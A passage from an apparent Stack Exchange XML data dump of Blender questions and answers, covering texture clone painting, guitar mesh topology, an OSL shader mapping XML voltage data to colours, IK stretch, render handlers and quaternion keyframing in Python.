:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEGFd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the files :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/35661&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35661&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/86965&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/86965&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13249" LastEditorUserId="55" LastEditDate="2015-05-19T05:43:37.857" LastActivityDate="2015-05-19T05:43:37.857" Title="How to paint with the clone option in Texture Paint?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28425" PostTypeId="1" AcceptedAnswerId="28427" CreationDate="2015-04-13T01:36:47.743" Score="12" ViewCount="5600" Body="&lt;p&gt;I'm still learning to model on Blender, but one thing I can't grasp is how to make such perfectly aligned and evenly-spaced mesh topologies. I'm trying to model an acoustic guitar and my mesh looks at best messy:&lt;img src=&quot;https://i.stack.imgur.com/ZCDiU.png&quot; alt=&quot;guitar topology image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a smooth topology like this one?&lt;img src=&quot;https://i.stack.imgur.com/tD2u6.png&quot; alt=&quot;smooth instrument topology&quot;&gt; Notice how the features in the instrument's face align perfectly with its outline.&lt;/p&gt;&#xA;" OwnerUserId="3143" LastActivityDate="2018-03-14T04:17:51.843" Title="Curved mesh topology" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;topology&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28426" PostTypeId="2" ParentId="28425" CreationDate="2015-04-13T04:57:25.003" Score="4" Body="&lt;p&gt;I find this easiest to do with &lt;em&gt;Proportional Editing&lt;/em&gt;. Hit &lt;kbd&gt;O&lt;/kbd&gt; to enable this handy feature that allows you to move nearby vertices slightly based on a curve while you squiggle the vertex that you want as your guide around.&#xA;While &quot;squiggling&quot;, you may choose to either grow or shrink the effect area by scrolling the mouse-wheel up or down respectively. Not quite the effect you were looking for? try changing the curve shape using the pop up found near the proportional editing button (a small blue circle, don't ask why).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember though, always before editing, try to get as much of the basic shape down with modifiers. One of the best for your particular musical case is the &lt;em&gt;Lattice Deform&lt;/em&gt; mod. Basically, you make a &quot;container&quot; for your mesh and set it as the target for the modifier, now, if you edit the lattice, the mesh will squish along like it was made of baked mustard.Bevel mods, Subsurfs with &quot;optimize display&quot; enabled and remesh mods can also help make quick work of would-be sloppy geometry. Any sharp edges should be bevelled, and N-gons should be avoided at any-cost, even if it takes hours of sitting there selecting vertices and hitting &lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2018-03-14T04:17:51.843" LastActivityDate="2018-03-14T04:17:51.843" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28427" PostTypeId="2" ParentId="28425" CreationDate="2015-04-13T04:58:49.803" Score="8" Body="&lt;p&gt;You can do that easily with &lt;strong&gt;edge loops.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Option 1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Start with a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude it (Press &lt;kbd&gt;E&lt;/kbd&gt; and Scale it &lt;kbd&gt;S&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the outermost vertices and grab them (&lt;kbd&gt;G&lt;/kbd&gt;) create the shape of the guitar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8socB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until you have the full outline of your guitar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5QzAv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create &lt;strong&gt;edge loops&lt;/strong&gt; by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;. And dragging the mouse to the middle of the geometry.&#xA;You can choose how many edge loops you want to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPrL7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep adding edge loops to refine your shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hJBdg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Option 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another way to do this is modeling with curves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;Curve_Circle&lt;/strong&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode subdivide it and add an outer circle. Subdivide it and shape it to the form you need. (It's very important that your circles have the same number of control points, 8 in this example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WlA3a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the fill option in your curve is set to none:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tCmdJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit edit mode and &lt;strong&gt;convert your curve to mesh&lt;/strong&gt; by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and select Mesh form Curve/Meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in edit mode select all your vertices and do &lt;strong&gt;bridge edge loops&lt;/strong&gt; (press the &lt;kbd&gt;Space Bar&lt;/kbd&gt; and type Bridge...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can do edge loop cuts with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the adjustments you can do changing the &lt;strong&gt;factor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kW3Z4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2015-04-13T06:59:30.180" LastActivityDate="2015-04-13T06:59:30.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28428" PostTypeId="2" ParentId="28425" CreationDate="2015-04-13T06:17:57.883" Score="3" Body="&lt;p&gt;Other useful tool is the &lt;strong&gt;Grid Fill&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the outline of your object. You can use the fill tool to connect the vertices. Moving the span value will allow you get to the proper topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYgKK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;  For this to work you need a continuous loop with an &lt;strong&gt;Even&lt;/strong&gt; number of vertices. An Odd number of vertices will report a &quot;&lt;em&gt;must select two edge loops&lt;/em&gt;&quot; error.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-01-29T18:39:32.640" LastActivityDate="2016-01-29T18:39:32.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28429" PostTypeId="1" CreationDate="2015-04-13T11:20:10.480" Score="8" ViewCount="592" Body="&lt;p&gt;I'm trying to use UVW generated mapping of a lot of splines and each spline has a lot of points. I want to add gradients of colors to the meshes and I hit a limit in Cycles ColorRamp. I can't add more than 32 colours for one gradient or I get an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using python and any automated way, how is it possible to have a gradient with more than 32 colours that I can map on uvw coordinates ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already thought of breaking curves into many polylines but I'm trying to find a clean solution on the mapping side.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Follow-up, May 2015&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This question arose from a previous one answered here &lt;a href=&quot;https://blender.stackexchange.com/questions/28121/how-to-colour-vertices-of-a-beveled-curve-mesh-without-converting-to-mesh&quot;&gt;How to colour vertices of a beveled curve mesh without converting to mesh?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have curves with sometimes more than 32 points and I would like to color these points &lt;em&gt;without converting to mesh I insist&lt;/em&gt; so UVW texturing is a good way to do it. However, the gradient node only accepts up to 32 colours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I solved the problem by writing an OSL shader that parses XML data.&#xA;The shader takes a value as input, let's say a voltage, and outputs a colour for it, based on a colour map. For scientific visualisation, it often happens you want to map some values to colours. So this answers your question gandalf3, the colours are representation of values of a certain unit and I don't think we can work on a pattern here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's important here is that a voltage at a given point is mapped to a colour, regardless of interpolation and all. Each and every voltage point will have its colour, which can then be interpolated with the following voltage point.&#xA;A voltage point can be anywhere along the curve so what matters is the ratio. 0.0 is the start of the branch, 1.0 is the end of it. Points can be somewhere within that ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we simulate voltages, the values change over time so the colours will reflect the state of each time step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's the node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5jjDW.png&quot; alt=&quot;OSL node setup for colouring points on a curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example below takes this XML data – produced on the fly while reading voltage values – and converts the voltage points to colours.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;report min=&quot;0&quot; max=&quot;100&quot; unit=&quot;mV&quot;&amp;gt;&#xA;    &amp;lt;compartment id=&quot;0&quot; start=&quot;0.0&quot; end=&quot;0.2&quot; value=&quot;12.0&quot; /&amp;gt;&#xA;    &amp;lt;compartment id=&quot;1&quot; start=&quot;0.2&quot; end=&quot;0.4&quot; value=&quot;25&quot; /&amp;gt;&#xA;    &amp;lt;compartment id=&quot;2&quot; start=&quot;0.4&quot; end=&quot;0.6&quot; value=&quot;10.5&quot; /&amp;gt;&#xA;    &amp;lt;compartment id=&quot;3&quot; start=&quot;0.6&quot; end=&quot;0.8&quot; value=&quot;38.5&quot; /&amp;gt;&#xA;    &amp;lt;compartment id=&quot;4&quot; start=&quot;0.8&quot; end=&quot;1.0&quot; value=&quot;76.6&quot; /&amp;gt;&#xA;&amp;lt;/report&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the OSL sample code (took me a while to figure out this works!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdosl.h&amp;gt;&#xA;&#xA;shader xml_color_mapper(float Value=0.0, string Xml=&quot;test.xml&quot;, output color Color=(0.0))&#xA;{&#xA;    // The second parameter is an XPath string&#xA;    // Example string xpath = concat(&quot;//color[@name='&quot;,Name,&quot;']/text()&quot;);&#xA;    int report = dict_find(Xml, &quot;//report&quot;);&#xA;&#xA;    string smin = &quot;&quot;;&#xA;    dict_value(report, &quot;min&quot;, smin);&#xA;    float min_value = stof(smin);&#xA;&#xA;    string smax = &quot;&quot;;&#xA;    dict_value(report, &quot;max&quot;, smax);&#xA;    float max_value = stof(smax);&#xA;&#xA;    color value_color = color(0);&#xA;    for (int comp = dict_find(Xml, &quot;//compartment&quot;); comp;  comp = dict_next(comp)) &#xA;    {&#xA;        string sid = &quot;&quot;;&#xA;        dict_value(comp, &quot;id&quot;, sid);&#xA;        int id = stoi(sid);&#xA;&#xA;        string sstart = &quot;&quot;;&#xA;        dict_value(comp, &quot;start&quot;, sstart);&#xA;        float segment_start = stof(sstart);&#xA;&#xA;        string send = &quot;&quot;;&#xA;        dict_value(comp, &quot;end&quot;, send);&#xA;        float segment_end = stof(send);&#xA;&#xA;        string svalue = &quot;&quot;;&#xA;        dict_value(comp, &quot;value&quot;, svalue);&#xA;        float value = stof(svalue);&#xA;&#xA;        if (Value &amp;gt; segment_start &amp;amp;&amp;amp; Value &amp;lt; segment_end)&#xA;        {&#xA;            float ratio = (value - min_value) / (max_value - min_value);&#xA;            value_color = color(ratio*ratio, 0.1, 0.1);&#xA;        }&#xA;    }&#xA;    Color = value_color;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only drawback to this method is that I need OSL and thus CPU mode. OSL isn't supported yet in Blender (2.74) in GPU mode simply because it takes time to implement it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have written the OSL shader, there may be a way to do the same with Cycles (math) nodes. &lt;/p&gt;&#xA;" OwnerUserId="13633" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-05-11T16:22:51.447" Title="More than 32 colours for gradients in Cycles?" Tags="&lt;python&gt;&lt;uv&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28430" PostTypeId="1" CreationDate="2015-04-13T12:17:18.610" Score="3" ViewCount="42" Body="&lt;p&gt;When I try to mirror my image, it turns out to be the second picture. The first picture is it before it is mirrored. These are steps I did before to get it ready to be mirrored and to mirror it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prep for Mirror:&lt;/strong&gt;&#xA;Make sure that everything is deselected. If not, press the A key.&#xA;Make sure you are in Edit mode.&#xA;Left-click the Face Select mode button.&#xA;Right-click the face on the flat side of the tail that's highlighted in the video.&#xA;Press the X key.&#xA;On the Erase menu, click Faces. The faces on that side of the creature's tail should be gone.&#xA;If you accidently delete the wrong face, you can always undo by pressing CTRL + Z. You can then go back and redo the steps above.&#xA;Press and hold SHIFT and right-click the faces on the flat side of the character's head.&#xA;Press the X key.&#xA;On the Erase menu, click Faces. The faces on the flat side of the creature's head should be gone.&#xA;Press and hold SHIFT and right-click the faces on the flat side of the creature's chest.&#xA;Press the X key.&#xA;On the Erase menu, click Faces. All the faces that you need to remove should be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Mirror:&lt;/strong&gt;&#xA;Switch from Edit mode to Object mode.&#xA;In the Object Modifiers mini-window, left-click Add Modifier and left-click Mirror.&#xA;Left-click Merge Limit and type 0.1010. Press ENTER.&#xA;CAUTION: Do not click the Apply button yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mqlvq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4YM0n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great on why it isn't the same or not proportionate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11597" LastEditorDisplayName="user1853" LastEditDate="2015-04-13T13:25:40.260" LastActivityDate="2015-04-13T13:25:40.260" Title="Mirroring a mesh" Tags="&lt;mirror&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-13T14:45:34.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="28431" PostTypeId="1" AcceptedAnswerId="28433" CreationDate="2015-04-13T12:53:20.920" Score="4" ViewCount="4032" Body="&lt;p&gt;Enabling IK &lt;strong&gt;stretch&lt;/strong&gt; in the &lt;strong&gt;IK Constraint&lt;/strong&gt;S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/10QCB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stretch&lt;/strong&gt; in the &lt;strong&gt;IK Constraint&lt;/strong&gt; does nothing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7l2R8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="30849" LastEditDate="2018-11-01T13:01:57.247" LastActivityDate="2018-11-01T13:01:57.247" Title="Enabling IK stretch in the IK Constraint does nothing?" Tags="&lt;rigging&gt;&lt;inverse-kinematics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28432" PostTypeId="1" AcceptedAnswerId="28556" CreationDate="2015-04-13T13:01:28.327" Score="6" ViewCount="1428" Body="&lt;p&gt;The code below works flawless, if e.g. triggered by a menu button in a 3D view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        for area in bpy.context.screen.areas: &#xA;          if area.type == 'VIEW_3D':&#xA;            for space in area.spaces:&#xA;                if space.type == 'VIEW_3D': &#xA;                    space.viewport_shade = 'BOUNDBOX'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I bundle it into a function and hook it to a handler, it returns a NoneType error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@persistent&#xA;def allBound(dummy):&#xA;  for area in bpy.context.screen.areas: &#xA;      if area.type == 'VIEW_3D':&#xA;        for space in area.spaces:&#xA;            if space.type == 'VIEW_3D': &#xA;                space.viewport_shade = 'BOUNDBOX'&#xA;&#xA; bpy.app.handlers.render_pre.append(allBound)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: 'NoneType' object has no attribute 'areas'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to solve this?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2015-04-16T11:50:36.063" Title="Accessing screen areas from render handler" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28433" PostTypeId="2" ParentId="28431" CreationDate="2015-04-13T13:06:51.183" Score="9" Body="&lt;p&gt;One solution is to make the stretch value in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;BONE &gt; INVERSE KINEMETICS &gt; STRETCH&lt;/em&gt;  to more than zero and not close to 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I set it to 0.1&lt;/strong&gt; As seen in Pitchipoy rig set up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SScTJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C3YKC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be done for each bone in the chain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vs4Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fwfRK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-04-13T13:06:51.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28435" PostTypeId="2" ParentId="28424" CreationDate="2015-04-13T16:05:32.700" Score="2" Body="&lt;p&gt;When the render is set to Cycles you can add two textures to the material and they should both show up as slots in texture paint.  Be sure to add a UV Map node for each texture and set the appropriate UV Map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter Texture Paint mode and activate &quot;Clone From Paint Slot&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture that is being painted to should be selected in the section named &quot;Available Paint Slots&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture that is being painted from should be selected in the section named &quot;Source Clone Slot&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the settings I used are shown in the following animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ZVeG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt; in response to a comment requesting more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Textures can be drag 'N dropped from the hard drive file system.  They can be added in as texture nodes by looking through the menu that is called up when the keyboard shortcut &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;s&lt;/kbd&gt; is used.  They can also be added by drag 'N dropping the image icon from the UV Image Editor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/46OGX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender Render you can add images to the texture slots.  I think the limit is 18 slots per material for BI.  I'm not sure if the BI node editor has the same limit, probably not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q71Ha.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-18T12:32:07.347" LastActivityDate="2015-04-18T12:32:07.347" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28436" PostTypeId="1" CreationDate="2015-04-13T16:32:40.360" Score="5" ViewCount="696" Body="&lt;p&gt;I am working on cloth simulation, and I have a lot of test-and-edit cycles to do. But on my machine the test cycles - where the simulation is baked - takes too much time.&lt;br&gt;&#xA;It's a simple simulation, but there are lots of frames to bake, with a highly subdivided mesh. I don't need distributed computing. I just need more processing power and RAM - so basically just blender running on a high performance server; and I don't own a server space (yet). I'd also prefer not to edit my scripts or change the work process in some other way. If need be, I can do it though.&lt;br&gt;&#xA;Is there any such online/cloud based solution for blender? Blender Cloud seems to offer something else entirely.&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2015-04-13T16:32:40.360" Title="Blender cloud for speeding up physics simulation" Tags="&lt;rendering&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="0" ClosedDate="2015-04-14T18:22:09.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="28437" PostTypeId="1" CreationDate="2015-04-13T16:46:51.810" Score="5" ViewCount="1647" Body="&lt;p&gt;I simulated smoke in Blender 2.74 and when I changed vorticity to 3 and changed flow type to smoke+fire which is in next tab the vorticity value again changed to default value. Then I tried &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and there is no simulation. and all the values are resetting automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8J0IF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13758" LastEditorUserId="599" LastEditDate="2015-04-13T18:51:38.457" LastActivityDate="2015-04-13T18:51:38.457" Title="Smoke simulation values are Resetting automatically" Tags="&lt;interface&gt;&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28438" PostTypeId="1" AcceptedAnswerId="28474" CreationDate="2015-04-13T17:24:24.843" Score="3" ViewCount="1271" Body="&lt;p&gt;It seems that blender's Matrix decompose() function can exhibit some numerical &quot;instability&quot;.  What I mean is that orientation matrices that are relatively close can have significantly different elements in their quaternion matrix that makes interpolated keyframing unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following simple python script will calculate a sequence of matrices representing rotations around the Z axis in a smooth manner.  It then decomposes the matrix into a quaternion, and inserts that as a keyframe.  When you view the resulting fcurves in blender you can see that the Z value jumps from -1 to 1 about halfway through the animation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import *&#xA;from mathutils import *&#xA;&#xA;def matrix_for_time(t):&#xA;    theta = 2 * pi * t&#xA;    mat = Matrix([[cos(theta), sin(theta), 0],&#xA;                  [-sin(theta), cos(theta), 0],&#xA;                  [0, 0, 1]]).to_4x4()&#xA;    # for illustration we use rotation about Z axis,&#xA;    # but in the arbitrary case, the orientation could be for a pine cone bouncing down a hill.&#xA;    return mat&#xA;&#xA;&#xA;def mission(obj):&#xA;    res = 36&#xA;    qs = QuaternionStabilizer()&#xA;    for z in range(res):&#xA;        mat = matrix_for_time(z/res)&#xA;        (loc,quat,scale) = mat.decompose()&#xA;&#xA;        obj.rotation_quaternion = qs.stabilize(quat)&#xA;        for ai in range(len(quat)):&#xA;            obj.keyframe_insert(frame=z*5, data_path=&quot;rotation_quaternion&quot;, index=ai)&#xA;&#xA;&#xA;mission(bpy.context.active_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zm983.png&quot; alt=&quot;fcurves resulting from python script&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; &lt;a href=&quot;https://blender.stackexchange.com/questions/23727/how-to-make-a-true-linear-quaternion-rotation&quot;&gt;How to make a true linear quaternion rotation?&lt;/a&gt; &quot; has some screenshots that imply quaternions aren't necessarily discontinuous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a technique for blender's python API to get a sequence of quaternions that can be keyframed and interpolated without discontinuity?  For bonus points: link to an article that explains this mathematical oddity and why decomposition works this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique should be usable with arbitrary orientation matrices, because they are calculated from something a little more complex than this simple Z rotation (in my specific case I'm flying along a bezier curve).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-04-15T19:08:35.543" Title="How do I ensure a sequence of quaternions from matrix.decompose() is continuous?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28439" PostTypeId="2" ParentId="27887" CreationDate="2015-04-13T17:47:14.857" Score="2" Body="&lt;p&gt;According the &lt;a href=&quot;http://blender.org/api/blender_python_api_2_74_release/bpy.ops.import_anim.html?highlight=operators#bpy.ops.import_anim.bvh&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt; you can use &lt;code&gt;bpy.ops.import_anim.bvh&lt;/code&gt; operator to import a &lt;code&gt;.bvh&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.ops.import_anim.bvh(filepath=&quot;&quot;, axis_up='Y', axis_forward='-Z',&#xA;  filter_glob=&quot;*.bvh&quot;, target='ARMATURE', global_scale=1.0,&#xA;  frame_start=1, use_fps_scale=False, use_cyclic=False,&#xA;  rotate_mode='NATIVE')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you mentioned, next step is to &lt;em&gt;Retarget&lt;/em&gt;, but it seems &lt;code&gt;bpy.ops.mcp.load_and_retarget&lt;/code&gt; only works for the length of the current timeline &lt;em&gt;(250 active frames by default)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately &lt;strong&gt;there is no parameter to set the length&lt;/strong&gt; of the animation and adjust the timeline in both methods. But if you know the length of the imported bvh, you can simply assign the value to &lt;a href=&quot;http://blender.org/api/blender_python_api_2_74_release/bpy.types.Scene.html?highlight=frame_end#bpy.types.Scene.frame_end&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Scene.frame_end&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;between the execution of both methods&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scn = bpy.context.scene # get the current scene&#xA;# execute bvh operator&#xA;scn.frame_end = 777 # set new end frame &#xA;# execute retarget operator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the length of the &lt;em&gt;bvh animation&lt;/em&gt; and set the end frame dynamically, find the last keyframe of the imported objects via &lt;code&gt;actions&lt;/code&gt; or &lt;code&gt;animation_data&lt;/code&gt;, see this answers: &lt;a href=&quot;https://blender.stackexchange.com/questions/27889/how-to-find-number-of-animated-frames-using-blender-python-bpy&quot;&gt;How to find number of animated frames in a scene via python?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-04-14T16:21:52.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" 